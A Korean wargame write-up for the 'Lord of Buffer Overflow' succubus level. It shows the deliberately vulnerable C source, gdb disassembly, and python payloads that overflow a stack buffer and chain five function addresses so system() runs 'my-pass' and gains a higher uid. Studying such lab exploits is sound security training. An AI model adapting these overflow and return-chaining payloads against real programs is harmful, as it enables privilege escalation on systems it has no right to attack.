[zombie_assassin@localhost zombie_assassin]$ cat succubus.c
/*
The Lord of the BOF : The Fellowship of the BOF
- succubus
- calling functions continuously
*/
#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>
// the inspector
int check = 0;
void MO(char *cmd)
{
if(check != 4)
exit(0);
printf("welcome to the MO!\n");
// olleh!
system(cmd);
}
void YUT(void)
{
if(check != 3)
exit(0);
printf("welcome to the YUT!\n");
check = 4;
}
void GUL(void)
{
if(check != 2)
exit(0);
printf("welcome to the GUL!\n");
check = 3;
}
void GYE(void)
{
if(check != 1)
exit(0);
printf("welcome to the GYE!\n");
check = 2;
}
void DO(void)
{
printf("welcome to the DO!\n");
check = 1;
}
main(int argc, char *argv[])
{
char buffer[40];
char *addr;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// you cannot use library
if(strchr(argv[1], '\x40')){//\x40이 발견되면 포인터가 리턴된다. 즉 library는 못쓴다.
printf("You cannot use library\n");
exit(0);
}
// check address
addr = (char *)&DO; //DO의 주소값 저장
if(memcmp(argv[1]+44, &addr, 4) != 0){//argv[1]+44의주소와 앞 네자리 비교 값지않으면 아웃!!
printf("You must fall in love with DO\n");
exit(0);
}
// overflow!
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// stack destroyer
// 100 : extra space for copied argv[1]
memset(buffer, 0, 44);//버퍼의 주소부터 44만큼 0으로 초기화
memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100)); //버퍼주소+148 부터 전부 0으로 초기화
// LD_* eraser
// 40 : extra space for memset function
memset(buffer-3000, 0, 3000-40); //버퍼 앞 2960개공간 모두 0으로 초기화
ROP 체인을 연습해보는 문제이다. 함수로 도, 개, 걸, 윷, 모가 있고 모 안에 system(cmd)가 있다.
strcpy함수가 실행되고 main함수로 돌아오는 ret값을 DO()함수의 주소값을 넣어주고 차례대로 개, 걸, 윷, 모를 넣어주소 MO()함수의 system(cmd)의 명령어 인자가 들어갈 위치에 "my-pass"를 넣어주면 된다.
문제를 풀기위해서 먼저 각각의 함수의 주소부터 알아보기로 한다. 편한대로 disas 함수명을 이용했다.
DO주소 0x080487ec
(gdb) disas DO
Dump of assembler code for function DO:
0x80487ec <DO>: push %ebp
0x80487ed <DO+1>: mov %esp,%ebp
0x80487ef <DO+3>: push $0x8048a0e
0x80487f4 <DO+8>: call 0x804844c <printf>
0x80487f9 <DO+13>: add $0x4,%esp
0x80487fc <DO+16>: movl $0x1,0x8049a90
0x8048806 <DO+26>: leave
0x8048807 <DO+27>: ret
End of assembler dump.
(gdb) disas GYE
Dump of assembler code for function GYE:
0x80487bc <GYE>: push %ebp
0x80487bd <GYE+1>: mov %esp,%ebp
0x80487bf <GYE+3>: cmpl $0x1,0x8049a90
0x80487c6 <GYE+10>: je 0x80487d2 <GYE+22>
0x80487c8 <GYE+12>: push $0x0
0x80487ca <GYE+14>: call 0x804845c <exit>
0x80487cf <GYE+19>: add $0x4,%esp
0x80487d2 <GYE+22>: push $0x80489f9
0x80487d7 <GYE+27>: call 0x804844c <printf>
0x80487dc <GYE+32>: add $0x4,%esp
0x80487df <GYE+35>: movl $0x2,0x8049a90
0x80487e9 <GYE+45>: leave
0x80487ea <GYE+46>: ret
0x80487eb <GYE+47>: nop
End of assembler dump.
(gdb) disas GUL
Dump of assembler code for function GUL:
0x804878c <GUL>: push %ebp
0x804878d <GUL+1>: mov %esp,%ebp
0x804878f <GUL+3>: cmpl $0x2,0x8049a90
0x8048796 <GUL+10>: je 0x80487a2 <GUL+22>
0x8048798 <GUL+12>: push $0x0
0x804879a <GUL+14>: call 0x804845c <exit>
0x804879f <GUL+19>: add $0x4,%esp
0x80487a2 <GUL+22>: push $0x80489e4
0x80487a7 <GUL+27>: call 0x804844c <printf>
0x80487ac <GUL+32>: add $0x4,%esp
0x80487af <GUL+35>: movl $0x3,0x8049a90
0x80487b9 <GUL+45>: leave
0x80487ba <GUL+46>: ret
0x80487bb <GUL+47>: nop
(gdb) DISAS YUT
Dump of assembler code for function YUT:
0x804875c <YUT>: push %ebp
0x804875d <YUT+1>: mov %esp,%ebp
0x804875f <YUT+3>: cmpl $0x3,0x8049a90
0x8048766 <YUT+10>: je 0x8048772 <YUT+22>
0x8048768 <YUT+12>: push $0x0
0x804876a <YUT+14>: call 0x804845c <exit>
0x804876f <YUT+19>: add $0x4,%esp
0x8048772 <YUT+22>: push $0x80489cf
0x8048777 <YUT+27>: call 0x804844c <printf>
0x804877c <YUT+32>: add $0x4,%esp
0x804877f <YUT+35>: movl $0x4,0x8049a90
0x8048789 <YUT+45>: leave
0x804878a <YUT+46>: ret
0x804878b <YUT+47>: nop
End of assembler dump.
(gdb) DISAS MO
Dump of assembler code for function MO:
0x8048724 <MO>: push %ebp
0x8048725 <MO+1>: mov %esp,%ebp
0x8048727 <MO+3>: cmpl $0x4,0x8049a90
0x804872e <MO+10>: je 0x8048740 <MO+28>
0x8048730 <MO+12>: push $0x0
0x8048732 <MO+14>: call 0x804845c <exit>
0x8048737 <MO+19>: add $0x4,%esp
0x804873a <MO+22>: lea 0x0(%esi),%esi
0x8048740 <MO+28>: push $0x80489bb
0x8048745 <MO+33>: call 0x804844c <printf>
0x804874a <MO+38>: add $0x4,%esp
0x804874d <MO+41>: mov 0x8(%ebp),%eax
0x8048750 <MO+44>: push %eax
0x8048751 <MO+45>: call 0x804840c <system>
0x8048756 <MO+50>: add $0x4,%esp
0x8048759 <MO+53>: leave
0x804875a <MO+54>: ret
0x804875b <MO+55>: nop
End of assembler dump.
(gdb) q
5가지함수의 주소를 알아봄과 동시에 대략적인 어셈블리코드도 본 결과 처음 버퍼에 44바이트의 dummy값 뒤에 ret공간에 DO함수 주소를 넣어주고 차례대로 GYE GUL YUT MO함수의 주소를 넣어주면 leave ret 과정을 통해 차례대로 함수가 실행된다.
마지막 MO()함수에서 system(cmd)가 실행되는데 4바이트 크기의 dummy후에 명령어를 넣어주면 된다.
[zombie_assassin@localhost zombie_assassin]$ ./succubu1 `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒\$▒
welcome to the DO!
welcome to the GYE!
welcome to the GUL!
welcome to the YUT!
welcome to the MO!
sh: 1▒^▒▒▒▒PTRhLh▒QV▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒U▒▒=▒: command not found
Segmentation fault (core dumped)
페이로드를 위와 같이
| A*44 | DO | GYE | GUL | YUT | MO | 로 하여 argv[1]에 넣어 줬을때 함수 5개가 모두 실행 됬고 system(cmd) 쯤에서 segment fault가 발생했다.
[zombie_assassin@localhost zombie_assassin]$ ./succubu1 `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"AAAA"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒\$AAAA
welcome to the DO!
welcome to the GYE!
welcome to the GUL!
welcome to the YUT!
welcome to the MO!
sh:h: command not found
Segmentation fault (core dumped)
[zombie_assassin@localhost zombie_assassin]$ ./succubu1 `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"my-pass"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒\$my-pass
welcome to the DO!
welcome to the GYE!
welcome to the GUL!
welcome to the YUT!
welcome to the MO!
Segmentation fault (core dumped)
삽질을 한 결과 MO()함수공간+4의 주소에 있는 인자를 사용한다는 것을 알게 되었고 문제를 풀 수 있었다.
MO()함수공간+4의 공간에 my-pass\n 문자열 시작 주소를 넣어주었다.
[zombie_assassin@localhost zombie_assassin]$ ./succubu1 `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"\xac\xfa\xff\xbf"+"\xac\xfa\xff\xbf"+"AAAA"+"my-pass\n"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒\$AAAA▒▒▒▒AAAAmy-pass
welcome to the DO!
welcome to the GYE!
welcome to the GUL!
welcome to the YUT!
welcome to the MO!
euid = 516
no place to hide
[zombie_assassin@localhost zombie_assassin]$ ./succubus `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"AAAA"+"\xac\xfa\xff\xbf"+"AAAA"+"my-pass\n"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒\$AAAA▒▒▒▒AAAAmy-pass
welcome to the DO!
welcome to the GYE!
welcome to the GUL!
welcome to the YUT!
welcome to the MO!
euid = 517
here to stay
Segmentation fault
'System Hacking > Lord of Buffer overflow' 카테고리의 다른 글
19.lob nightmare->xavius (0) | 2018.01.15 |
---|---|
18.lob succubus->nightmare (0) | 2018.01.15 |
16.lob assassin->zombie_assassin (0) | 2018.01.14 |
15.lob giant->assassin (0) | 2018.01.11 |
14.bugbear->giant (0) | 2018.01.11 |